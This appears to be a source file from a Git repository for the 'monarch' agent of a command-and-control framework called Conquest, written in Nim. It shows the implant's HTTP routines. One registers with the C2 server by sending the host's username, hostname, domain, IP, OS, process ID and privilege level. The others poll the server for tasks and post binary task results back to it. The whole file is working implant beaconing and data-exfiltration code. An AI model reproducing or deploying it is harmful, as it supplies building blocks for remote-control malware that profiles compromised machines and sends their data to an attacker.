Files
conquest/src/agents/monarch/http.nim

80 lines
2.4 KiB
Nim
Raw Normal View History

2025-05-19 21:56:34 +02:00
import httpclient, json, strformat, asyncdispatch
import ./[agentTypes, utils, agentInfo]
import ../../common/types
2025-05-19 21:56:34 +02:00
proc register*(config: AgentConfig): string =
2025-05-19 21:56:34 +02:00
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
# Create registration payload
let body = %*{
"username": getUsername(),
"hostname":getHostname(),
"domain": getDomain(),
"ip": getIPv4Address(),
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated(),
"sleep": config.sleep
2025-05-19 21:56:34 +02:00
}
echo $body
try:
# Register agent to the Conquest server
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
except CatchableError as err:
echo "[-] [register]:", err.msg
2025-05-19 21:56:34 +02:00
quit(0)
finally:
client.close()
proc getTasks*(config: AgentConfig, agent: string): string =
2025-05-19 21:56:34 +02:00
let client = newAsyncHttpClient()
var responseBody = ""
2025-05-19 21:56:34 +02:00
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: " & err.msg
finally:
client.close()
2025-05-19 21:56:34 +02:00
return ""
2025-05-19 21:56:34 +02:00
proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $resultData.len
})
let body = resultData.toString()
echo body
try:
# Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: " & err.msg
return false
finally:
client.close()
return true